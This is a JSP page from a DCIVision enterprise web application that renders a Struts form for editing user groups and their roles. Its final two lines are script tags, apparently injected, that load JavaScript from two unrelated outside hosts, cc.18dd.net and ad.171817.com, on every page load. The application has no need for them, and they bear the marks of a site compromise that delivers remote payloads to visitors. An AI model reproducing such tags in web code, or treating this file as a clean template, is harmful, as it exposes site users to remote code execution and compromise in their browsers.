<%
/*
 * @(#)EditUserGroup.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditUserGroup.jsp

  This class is reflecting business logic uses.

    @author           Rollo Chan
    @company          DCIVision Limited
    @creation date    24/07/2003
    @version          $Revision: 1.15.2.9 $
*/

/* ********************************Modify History***********************************************
 * Modify by  : Jicle.Wang
 * Modify date: 2006/06/29
 * BugID      : 5475
 * Description: Can not use MemberList Button if no 'EDIT' right
 * *********************************************************************************************
 */
%>

<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.user.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintUserGroupForm" scope="request" class="com.dcivision.user.web.MaintUserGroupForm"/>

<script language="Javascript">
<!--
function  popupMemberList(){
  var sOptions = 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no';
  var sPopupPath = 'ListUserMember.do?userGroupID=<%=maintUserGroupForm.getID()%>&memberType=<%=UserMember.MEMBER_TYPE_GROUP%>';
  var width = 800;
  var height = 600;

  OpenCenteredPopup(sPopupPath, "DCIVisionMemberList", width, height, sOptions);
}

function custOpSave() {
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if (!validateSpecialChar(document.maintUserGroupForm.groupName, invalidChars, "<bean:message key='user.label.group_name'/> " + errorMessage)){
    return (false);
  }
return OpSave();
}

function custOpSaveAndNew() {
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if (!validateSpecialChar(document.maintUserGroupForm.groupName, invalidChars, "<bean:message key='user.label.group_name'/> " + errorMessage)){
    return (false);
  }
return OpSaveAndNew();
}

-->
</script>
<%
 String returnURL = "ListUserGroup.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
%>
<html:form action="user/MaintUserGroup" styleClass="form-style-2">
<html:javascript formName="maintUserGroupForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
   /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="ID"/>
<html:hidden property="recordStatus"/>
<html:hidden property="updateCount"/>
<html:hidden property="creatorID"/>
<html:hidden property="createDate"/>
<html:hidden property="updaterID"/>
<html:hidden property="updateDate"/>

<input type="hidden" name="ownerUserRecordID" value="<%=sessionContainer.getUserRecordID()%>"/>
<input type="hidden" name="groupType" value="<%=com.dcivision.user.bean.UserGroup.GROUP_TYPE_PUBLIC%>"/>

<layout:tabContainer id="tab1">
  <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
  <layout:tabBar styleClass="tabBar_no_button">
     <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/> 
  </layout:tabBar>

 <!-- Basic Tab DIV -->
 <div id="basicTab" class="tabContent">
  <table width="100%">
  <!-- Section Header -->
  <layout:sectionHeader name="user.label.user_group_info"/>
  <tr>
    <td class="formLabelSmallMan"><bean:message key="user.label.group_name"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property="groupName" size='40' maxlength="50" styleClass="form-style-2-textfield"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key="user.label.group_desc"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:textarea property="groupDesc" cols='50' rows='4' textlimit="200" styleClass="form-style-2-big-textarea"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.roles'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <%
      String lyrBgColor = "#FFFFFF";
      if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {
        lyrBgColor = "#EEEEEE";
      }
    %>
    <div id="permissionDiv" class="form-style-2-optionsDiv" style="width:496px;height:80px;background-color:<%=lyrBgColor%>;layer-background-color:<%=lyrBgColor%>;">
    <logic:iterate id="userRole" name="allRoleList" scope="request" indexId="listLoopCnt">
    <nobr><html:checkbox property='userRoles' value='<%=((UserRole)userRole).getID().toString()%>'><bean:write name='userRole' property='roleName'/></html:checkbox></nobr><br>
    </logic:iterate>
    </div>
    </td>
  </tr>
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
  </tr>
  </table>
  </div>
  </layout:tabContainer>

  <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return custOpSave();"/>
      <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
      <html:permissionButton label="common.label.more" right="I" onClick="return custOpSaveAndNew();"/>
      <%}%>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintUserGroupForm.getOpMode())) {%>
      <html:permissionButton label="common.label.edit" right="E" link='<%="MaintUserGroup.do?navMode=E&ID=" + maintUserGroupForm.getID() %>'/>
    <%}%>

    <%if(!Utility.isEmpty(maintUserGroupForm.getID())&&!GlobalConstant.OP_MODE_DELETE.equals(maintUserGroupForm.getOpMode())){%>
      <html:permissionButton label="user.label.member_list" right="E" onClick="popupMemberList();"/>
    <%}%>
    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
      <html:permissionButton label="common.label.delete" right="D" onClick="return OpDelete();"/>
    </logic:equal>
</div>
</div>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>